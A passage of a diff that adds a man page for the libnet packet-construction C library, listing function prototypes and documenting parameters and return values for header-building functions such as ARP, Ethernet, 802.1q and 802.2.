+.RI "libnet_ptag_t \fBlibnet_build_ipsec_esp_ftr\fP (u_int8_t len, u_int8_t nh, int8_t *auth, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_ipsec_ah\fP (u_int8_t nh, u_int8_t len, u_int16_t res, u_int32_t spi, u_int32_t seq, u_int32_t auth, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_dnsv4\fP (u_int16_t h_len, u_int16_t id, u_int16_t flags, u_int16_t num_q, u_int16_t num_anws_rr, u_int16_t num_auth_rr, u_int16_t num_addi_rr, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_rip\fP (u_int8_t cmd, u_int8_t version, u_int16_t rd, u_int16_t af, u_int16_t rt, u_int32_t addr, u_int32_t mask, u_int32_t next_hop, u_int32_t metric, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_rpc_call\fP (u_int32_t rm, u_int32_t xid, u_int32_t prog_num, u_int32_t prog_vers, u_int32_t procedure, u_int32_t cflavor, u_int32_t clength, u_int8_t *cdata, u_int32_t vflavor, u_int32_t vlength, u_int8_t *vdata, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_stp_conf\fP (u_int16_t id, u_int8_t version, u_int8_t bpdu_type, u_int8_t flags, u_int8_t *root_id, u_int32_t root_pc, u_int8_t *bridge_id, u_int16_t port_id, u_int16_t message_age, u_int16_t max_age, u_int16_t hello_time, u_int16_t f_delay, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_stp_tcn\fP (u_int16_t id, u_int8_t version, u_int8_t bpdu_type, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_token_ring\fP (u_int8_t ac, u_int8_t fc, u_int8_t *dst, u_int8_t *src, u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_autobuild_token_ring\fP (u_int8_t ac, u_int8_t fc, u_int8_t *dst, u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t *org, u_int16_t type, libnet_t *l)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_vrrp\fP (u_int8_t version, u_int8_t type, u_int8_t vrouter_id, u_int8_t priority, u_int8_t ip_count, u_int8_t auth_type, u_int8_t advert_int, u_int16_t sum, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_mpls\fP (u_int32_t label, u_int8_t experimental, u_int8_t bos, u_int8_t ttl, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_ntp\fP (u_int8_t leap_indicator, u_int8_t version, u_int8_t mode, u_int8_t stratum, u_int8_t poll, u_int8_t precision, u_int16_t delay_int, u_int16_t delay_frac, u_int16_t dispersion_int, u_int16_t dispersion_frac, u_int32_t reference_id, u_int32_t ref_ts_int, u_int32_t ref_ts_frac, u_int32_t orig_ts_int, u_int32_t orig_ts_frac, u_int32_t rec_ts_int, u_int32_t rec_ts_frac, u_int32_t xmt_ts_int, u_int32_t xmt_ts_frac, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_ospfv2\fP (u_int16_t len, u_int8_t type, u_int32_t rtr_id, u_int32_t area_id, u_int16_t sum, u_int16_t autype, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_ospfv2_hello\fP (u_int32_t netmask, u_int16_t interval, u_int8_t opts, u_int8_t priority, u_int dead_int, u_int32_t des_rtr, u_int32_t bkup_rtr, u_int32_t neighbor, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_ospfv2_dbd\fP (u_int16_t dgram_len, u_int8_t opts, u_int8_t type, u_int seqnum, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_ospfv2_lsr\fP (u_int type, u_int lsid, u_int32_t advrtr, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_ospfv2_lsu\fP (u_int num, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_ospfv2_lsa\fP (u_int16_t age, u_int8_t opts, u_int8_t type, u_int lsid, u_int32_t advrtr, u_int seqnum, u_int16_t sum, u_int16_t len, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_ospfv2_lsa_rtr\fP (u_int16_t flags, u_int16_t num, u_int id, u_int data, u_int8_t type, u_int8_t tos, u_int16_t metric, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_ospfv2_lsa_net\fP (u_int32_t nmask, u_int rtrid, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_ospfv2_lsa_sum\fP (u_int32_t nmask, u_int metric, u_int tos, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_ospfv2_lsa_as\fP (u_int32_t nmask, u_int metric, u_int32_t fwdaddr, u_int tag, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_data\fP (u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_dhcpv4\fP (u_int8_t opcode, u_int8_t htype, u_int8_t hlen, u_int8_t hopcount, u_int32_t xid, u_int16_t secs, u_int16_t flags, u_int32_t cip, u_int32_t yip, u_int32_t sip, u_int32_t gip, u_int8_t *chaddr, u_int8_t *sname, u_int8_t *file, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_bootpv4\fP (u_int8_t opcode, u_int8_t htype, u_int8_t hlen, u_int8_t hopcount, u_int32_t xid, u_int16_t secs, u_int16_t flags, u_int32_t cip, u_int32_t yip, u_int32_t sip, u_int32_t gip, u_int8_t *chaddr, u_int8_t *sname, u_int8_t *file, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "u_int32_t \fBlibnet_getgre_length\fP (u_int16_t fv)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_gre\fP (u_int16_t fv, u_int16_t type, u_int16_t sum, u_int16_t offset, u_int32_t key, u_int32_t seq, u_int16_t len, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_egre\fP (u_int16_t fv, u_int16_t type, u_int16_t sum, u_int16_t offset, u_int32_t key, u_int32_t seq, u_int16_t len, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_gre_sre\fP (u_int16_t af, u_int8_t offset, u_int8_t length, u_int8_t *routing, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_gre_last_sre\fP (libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_bgp4_header\fP (u_int8_t marker[LIBNET_BGP4_MARKER_SIZE], u_int16_t len, u_int8_t type, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_bgp4_open\fP (u_int8_t version, u_int16_t src_as, u_int16_t hold_time, u_int32_t bgp_id, u_int8_t opt_len, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_bgp4_update\fP (u_int16_t unfeasible_rt_len, u_int8_t *withdrawn_rt, u_int16_t total_path_attr_len, u_int8_t *path_attributes, u_int16_t info_len, u_int8_t *reachability_info, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_bgp4_notification\fP (u_int8_t err_code, u_int8_t err_subcode, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_sebek\fP (u_int32_t magic, u_int16_t version, u_int16_t type, u_int32_t counter, u_int32_t time_sec, u_int32_t time_usec, u_int32_t pid, u_int32_t uid, u_int32_t fd, u_int8_t cmd[SEBEK_CMD_LENGTH], u_int32_t length, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_build_link\fP (u_int8_t *dst, u_int8_t *src, u_int8_t *oui, u_int16_t type, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_autobuild_link\fP (u_int8_t *dst, u_int8_t *oui, u_int16_t type, libnet_t *l)"
+.br
+.ti -1c
+.RI "int \fBlibnet_write\fP (libnet_t *l)"
+.br
+.ti -1c
+.RI "u_int32_t \fBlibnet_get_ipaddr4\fP (libnet_t *l)"
+.br
+.ti -1c
+.RI "libnet_in6_addr \fBlibnet_get_ipaddr6\fP (libnet_t *l)"
+.br
+.ti -1c
+.RI "libnet_ether_addr * \fBlibnet_get_hwaddr\fP (libnet_t *l)"
+.br
+.ti -1c
+.RI "u_int8_t * \fBlibnet_hex_aton\fP (int8_t *s, int *len)"
+.br
+.ti -1c
+.RI "int \fBlibnet_adv_cull_packet\fP (libnet_t *l, u_int8_t **packet, u_int32_t *packet_s)"
+.br
+.ti -1c
+.RI "int \fBlibnet_adv_cull_header\fP (libnet_t *l, libnet_ptag_t ptag, u_int8_t **header, u_int32_t *header_s)"
+.br
+.ti -1c
+.RI "int \fBlibnet_adv_write_link\fP (libnet_t *l, u_int8_t *packet, u_int32_t packet_s)"
+.br
+.ti -1c
+.RI "void \fBlibnet_adv_free_packet\fP (libnet_t *l, u_int8_t *packet)"
+.br
+.ti -1c
+.RI "int \fBlibnet_cq_add\fP (libnet_t *l, char *label)"
+.br
+.ti -1c
+.RI "libnet_t * \fBlibnet_cq_remove\fP (libnet_t *l)"
+.br
+.ti -1c
+.RI "libnet_t * \fBlibnet_cq_remove_by_label\fP (char *label)"
+.br
+.ti -1c
+.RI "int8_t * \fBlibnet_cq_getlabel\fP (libnet_t *l)"
+.br
+.ti -1c
+.RI "libnet_t * \fBlibnet_cq_find_by_label\fP (char *label)"
+.br
+.ti -1c
+.RI "void \fBlibnet_cq_destroy\fP ()"
+.br
+.ti -1c
+.RI "libnet_t * \fBlibnet_cq_head\fP ()"
+.br
+.ti -1c
+.RI "int \fBlibnet_cq_last\fP ()"
+.br
+.ti -1c
+.RI "libnet_t * \fBlibnet_cq_next\fP ()"
+.br
+.ti -1c
+.RI "u_int32_t \fBlibnet_cq_size\fP ()"
+.br
+.ti -1c
+.RI "void \fBlibnet_diag_dump_context\fP (libnet_t *l)"
+.br
+.ti -1c
+.RI "void \fBlibnet_diag_dump_pblock\fP (libnet_t *l)"
+.br
+.ti -1c
+.RI "char * \fBlibnet_diag_dump_pblock_type\fP (u_int8_t type)"
+.br
+.ti -1c
+.RI "void \fBlibnet_diag_dump_hex\fP (u_int8_t *packet, u_int32_t len, int swap, FILE *stream)"
+.br
+.ti -1c
+.RI "int \fBlibnet_write_raw_ipv4\fP (libnet_t *l, u_int8_t *packet, u_int32_t size)"
+.br
+.ti -1c
+.RI "int \fBlibnet_write_raw_ipv6\fP (libnet_t *l, u_int8_t *packet, u_int32_t size)"
+.br
+.ti -1c
+.RI "int \fBlibnet_write_link\fP (libnet_t *l, u_int8_t *packet, u_int32_t size)"
+.br
+.ti -1c
+.RI "int \fBlibnet_open_raw4\fP (libnet_t *l)"
+.br
+.ti -1c
+.RI "int \fBlibnet_close_raw4\fP (libnet_t *l)"
+.br
+.ti -1c
+.RI "int \fBlibnet_open_raw6\fP (libnet_t *l)"
+.br
+.ti -1c
+.RI "int \fBlibnet_close_raw6\fP (libnet_t *l)"
+.br
+.ti -1c
+.RI "int \fBlibnet_select_device\fP (libnet_t *l)"
+.br
+.ti -1c
+.RI "int \fBlibnet_open_link\fP (libnet_t *l)"
+.br
+.ti -1c
+.RI "int \fBlibnet_close_link\fP (libnet_t *l)"
+.br
+.ti -1c
+.RI "int \fBlibnet_do_checksum\fP (libnet_t *l, u_int8_t *packet, int protocol, int len)"
+.br
+.ti -1c
+.RI "u_int32_t \fBlibnet_compute_crc\fP (u_int8_t *buf, u_int32_t len)"
+.br
+.ti -1c
+.RI "u_int16_t \fBlibnet_ip_check\fP (u_int16_t *addr, int len)"
+.br
+.ti -1c
+.RI "int \fBlibnet_in_cksum\fP (u_int16_t *addr, int len)"
+.br
+.ti -1c
+.RI "libnet_pblock_t * \fBlibnet_pblock_probe\fP (libnet_t *l, libnet_ptag_t ptag, u_int32_t n, u_int8_t type)"
+.br
+.ti -1c
+.RI "libnet_pblock_t * \fBlibnet_pblock_new\fP (libnet_t *l, u_int32_t size)"
+.br
+.ti -1c
+.RI "int \fBlibnet_pblock_swap\fP (libnet_t *l, libnet_ptag_t ptag1, libnet_ptag_t ptag2)"
+.br
+.ti -1c
+.RI "int \fBlibnet_pblock_insert_before\fP (libnet_t *l, libnet_ptag_t ptag1, libnet_ptag_t ptag2)"
+.br
+.ti -1c
+.RI "void \fBlibnet_pblock_delete\fP (libnet_t *l, libnet_pblock_t *p)"
+.br
+.ti -1c
+.RI "libnet_ptag_t \fBlibnet_pblock_update\fP (libnet_t *l, libnet_pblock_t *p, u_int32_t h, u_int8_t type)"
+.br
+.ti -1c
+.RI "libnet_pblock_t * \fBlibnet_pblock_find\fP (libnet_t *l, libnet_ptag_t ptag)"
+.br
+.ti -1c
+.RI "int \fBlibnet_pblock_append\fP (libnet_t *l, libnet_pblock_t *p, u_int8_t *buf, u_int32_t len)"
+.br
+.ti -1c
+.RI "void \fBlibnet_pblock_setflags\fP (libnet_pblock_t *p, u_int8_t flags)"
+.br
+.ti -1c
+.RI "int \fBlibnet_pblock_p2p\fP (u_int8_t type)"
+.br
+.ti -1c
+.RI "int \fBlibnet_pblock_coalesce\fP (libnet_t *l, u_int8_t **packet, u_int32_t *size)"
+.br
+.ti -1c
+.RI "int \fBlibnet_check_iface\fP (libnet_t *l)"
+.br
+.in -1c
+.SS "Variables"
+
+.in +1c
+.ti -1c
+.RI "const struct libnet_in6_addr \fBin6addr_error\fP"
+.br
+.in -1c
+.SH "Detailed Description"
+.PP
+libnet exported function prototypes
+
+
+.SH "Function Documentation"
+.PP
+.SS "char* libnet_addr2name4 (u_int32_t in, u_int8_t use_name)"
+.PP
+Takes a network byte ordered IPv4 address and returns a pointer to either a canonical DNS name (if it has one) or a string of dotted decimals. This may incur a DNS lookup if the hostname and mode is set to LIBNET_RESOLVE. If mode is set to LIBNET_DONT_RESOLVE, no DNS lookup will be performed and the function will return a pointer to a dotted decimal string. The function cannot fail -- if no canonical name exists, it will fall back on returning a dotted decimal string. This function is non-reentrant.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIin\fP network byte ordered IPv4 address
+.br
+\fIuse_name\fP LIBNET_RESOLVE or LIBNET_DONT_RESOLVE
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+a pointer to presentation format string
+.RE
+.PP
+
+.SS "void libnet_addr2name6_r (struct libnet_in6_addr addr, u_int8_t use_name, char * host_name, int host_name_len)"
+.PP
+Should document this baby right here.
+.SS "int libnet_adv_cull_header (libnet_t * l, libnet_ptag_t ptag, u_int8_t ** header, u_int32_t * header_s)"
+.PP
+[Advanced Interface] Pulls the header from the specified ptag from the given libnet context. This function is part of the advanced interface and is only available when libnet is initialized in advanced mode. If the function fails \fBlibnet_geterror()\fP can tell you why.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP the ptag referencing the header to pull
+.br
+\fIheader\fP will contain the header
+.br
+\fIheader_s\fP will contain the header size
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+1 on success, -1 on failure
+.RE
+.PP
+
+.SS "int libnet_adv_cull_packet (libnet_t * l, u_int8_t ** packet, u_int32_t * packet_s)"
+.PP
+[Advanced Interface] Yanks a prebuilt, wire-ready packet from the given libnet context. If libnet was configured to do so (which it is by default) the packet will have all checksums written in. This function is part of the advanced interface and is only available when libnet is initialized in advanced mode. It is important to note that the function performs an implicit malloc() and a corresponding call to \fBlibnet_adv_free_packet()\fP should be made to free the memory packet occupies. If the function fails \fBlibnet_geterror()\fP can tell you why.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.br
+\fIpacket\fP will contain the wire-ready packet
+.br
+\fIpacket_s\fP will contain the packet size
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+1 on success, -1 on failure
+.RE
+.PP
+
+.SS "void libnet_adv_free_packet (libnet_t * l, u_int8_t * packet)"
+.PP
+[Advanced Interface] Frees the memory allocated when \fBlibnet_adv_cull_packet()\fP is called.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.br
+\fIpacket\fP a pointer to the packet to free
+.RE
+.PP
+
+.SS "int libnet_adv_write_link (libnet_t * l, u_int8_t * packet, u_int32_t packet_s)"
+.PP
+[Advanced Interface] Writes a packet the network at the link layer. This function is useful to write a packet that has been constructed by hand by the application programmer or, more commonly, to write a packet that has been returned by a call to \fBlibnet_adv_cull_packet()\fP. This function is part of the advanced interface and is only available when libnet is initialized in advanced mode. If the function fails \fBlibnet_geterror()\fP can tell you why.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIl\fP pointer to a libnet context
+.br
+\fIpacket\fP a pointer to the packet to inject
+.br
+\fIpacket_s\fP the size of the packet
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+the number of bytes written, or -1 on failure
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_autobuild_arp (u_int16_t op, u_int8_t * sha, u_int8_t * spa, u_int8_t * tha, u_int8_t * tpa, libnet_t * l)"
+.PP
+Autouilds an Address Resolution Protocol (ARP) header. Depending on the op value, the function builds one of several different types of RFC 826 or RFC 903 RARP packets.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIop\fP ARP operation type
+.br
+\fIsha\fP sender's hardware address
+.br
+\fIspa\fP sender's protocol address
+.br
+\fItha\fP target hardware address
+.br
+\fItpa\fP targer protocol address
+.br
+\fIl\fP pointer to a libnet context
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_autobuild_ethernet (u_int8_t * dst, u_int16_t type, libnet_t * l)"
+.PP
+Autobuilds an Ethernet header. The RFC 894 Ethernet II header is almost identical to the IEEE 802.3 header, with the exception that the field immediately following the source address holds the layer 3 protocol (as opposed to frame's length). You should only use this function when libnet is initialized with the LIBNET_LINK interface.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIdst\fP destination ethernet address
+.br
+\fItype\fP upper layer protocol type
+.br
+\fIl\fP pointer to a libnet context
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_autobuild_fddi (u_int8_t fc, u_int8_t * dst, u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t * org, u_int16_t type, libnet_t * l)"
+.PP
+Autobuilds a Fiber Distributed Data Interface (FDDI) header.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIfc\fP class format and priority dst destination fddi address
+.br
+\fIdsap\fP destination service access point
+.br
+\fIssap\fP source service access point
+.br
+\fIcf\fP cf
+.br
+\fIorg\fP IEEE organizational code
+.br
+\fItype\fP upper layer protocol
+.br
+\fIl\fP pointer to a libnet context
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_autobuild_ipv4 (u_int16_t len, u_int8_t prot, u_int32_t dst, libnet_t * l)"
+.PP
+Autobuilds a version 4 Internet Protocol (IP) header. The function is useful * to build an IP header quickly when you do not need a granular level of control. The function takes the same len, prot, and dst arguments as \fBlibnet_build_ipv4()\fP. The function does not accept a ptag argument, but it does return a ptag. In other words, you can use it to build a new IP header but not to modify an existing one.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIlen\fP total length of the IP packet including all subsequent data
+.br
+\fIprot\fP upper layer protocol
+.br
+\fIdst\fP destination IPv4 address (little endian)
+.br
+\fIl\fP pointer to a libnet context
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_autobuild_ipv6 (u_int16_t len, u_int8_t nh, struct libnet_in6_addr dst, libnet_t * l)"
+.PP
+This function is not yet implement and is a NONOP.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIlen\fP length
+.br
+\fInh\fP next header
+.br
+\fIdst\fP destination IPv6 address
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_autobuild_link (u_int8_t * dst, u_int8_t * oui, u_int16_t type, libnet_t * l)"
+.PP
+Automatically builds a link layer header for an initialized l. The function determines the proper link layer header format from how l was initialized. The function current supports Ethernet and Token Ring link layers.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIdst\fP the destination MAC address
+.br
+\fIoui\fP Organizationally Unique Identifier (unused for Ethernet)
+.br
+\fItype\fP the upper layer protocol type
+.br
+\fIl\fP pointer to a libnet context
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_autobuild_token_ring (u_int8_t ac, u_int8_t fc, u_int8_t * dst, u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t * org, u_int16_t type, libnet_t * l)"
+.PP
+Auto-builds a token ring header.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIac\fP access control
+.br
+\fIfc\fP frame control
+.br
+\fIdst\fP destination address
+.br
+\fIdsap\fP destination service access point
+.br
+\fIssap\fP source service access point
+.br
+\fIcf\fP control field
+.br
+\fIoui\fP Organizationally Unique Identifier
+.br
+\fItype\fP upper layer protocol type
+.br
+\fIl\fP pointer to a libnet context
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_802_1q (u_int8_t * dst, u_int8_t * src, u_int16_t tpi, u_int8_t priority, u_int8_t cfi, u_int16_t vlan_id, u_int16_t len_proto, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an IEEE 802.1q VLAN tagging header. Depending on the value of len_proto, the function wraps the 802.1q header inside either an IEEE 802.3 header or an RFC 894 Ethernet II (DIX) header (both resulting in an 18-byte frame). If len is 1500 or less, most receiving protocol stacks parse the frame as an IEEE 802.3 encapsulated frame. If len is one of the Ethernet type values, most protocol stacks parse the frame as an RFC 894 Ethernet II encapsulated frame. Note the length value is calculated without the 802.1q header of 18 bytes.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIdst\fP pointer to a six byte source ethernet address
+.br
+\fIsrc\fP pointer to a six byte destination ethernet address
+.br
+\fItpi\fP tag protocol identifier
+.br
+\fIpriority\fP priority
+.br
+\fIcfi\fP canonical format indicator
+.br
+\fIvlan_id\fP vlan identifier
+.br
+\fIlen_proto\fP length (802.3) protocol (Ethernet II)
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_802_1x (u_int8_t eap_ver, u_int8_t eap_type, u_int16_t length, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an IEEE 802.1x extended authentication protocol header.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIeap_ver\fP the EAP version
+.br
+\fIeap_type\fP the EAP type
+.br
+\fIlength\fP frame length
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_802_2 (u_int8_t dsap, u_int8_t ssap, u_int8_t control, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an IEEE 802.2 LLC header.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIdsap\fP destination service access point
+.br
+\fIssap\fP source service access point
+.br
+\fIcontrol\fP control field
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_802_2snap (u_int8_t dsap, u_int8_t ssap, u_int8_t control, u_int8_t * oui, u_int16_t type, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an IEEE 802.2 LLC SNAP header.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIdsap\fP destination service access point
+.br
+\fIssap\fP source service access point
+.br
+\fIcontrol\fP control field
+.br
+\fIoui\fP Organizationally Unique Identifier
+.br
+\fItype\fP upper layer protocol
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_802_3 (u_int8_t * dst, u_int8_t * src, u_int16_t len, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an IEEE 802.3 header. The 802.3 header is almost identical to the RFC 894 Ethernet II header, the exception being that the field immediately following the source address holds the frame's length (as opposed to the layer 3 protocol). You should only use this function when libnet is initialized with the LIBNET_LINK interface.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIdst\fP destination ethernet address
+.br
+\fIsrc\fP source ethernet address
+.br
+\fIlen\fP frame length sans header
+.br
+\fIpayload\fP optional payload or NULL
+.br
+\fIpayload_s\fP payload length or 0
+.br
+\fIl\fP pointer to a libnet context
+.br
+\fIptag\fP protocol tag to modify an existing header, 0 to build a new one
+.RE
+.PP
+\fBReturns:\fP
+.RS 4
+protocol tag value on success, -1 on error
+.RE
+.PP
+
+.SS "libnet_ptag_t libnet_build_arp (u_int16_t hrd, u_int16_t pro, u_int8_t hln, u_int8_t pln, u_int16_t op, u_int8_t * sha, u_int8_t * spa, u_int8_t * tha, u_int8_t * tpa, u_int8_t * payload, u_int32_t payload_s, libnet_t * l, libnet_ptag_t ptag)"
+.PP
+Builds an Address Resolution Protocol (ARP) header. Depending on the op value, the function builds one of several different types of RFC 826 or RFC 903 RARP packets.
+.PP
+\fBParameters:\fP
+.RS 4
+\fIhrd\fP hardware address format
+.br
+\fIpro\fP protocol address format
+.br
+\fIhln\fP hardware address length
+.br
+\fIpln\fP protocol address length
+.br
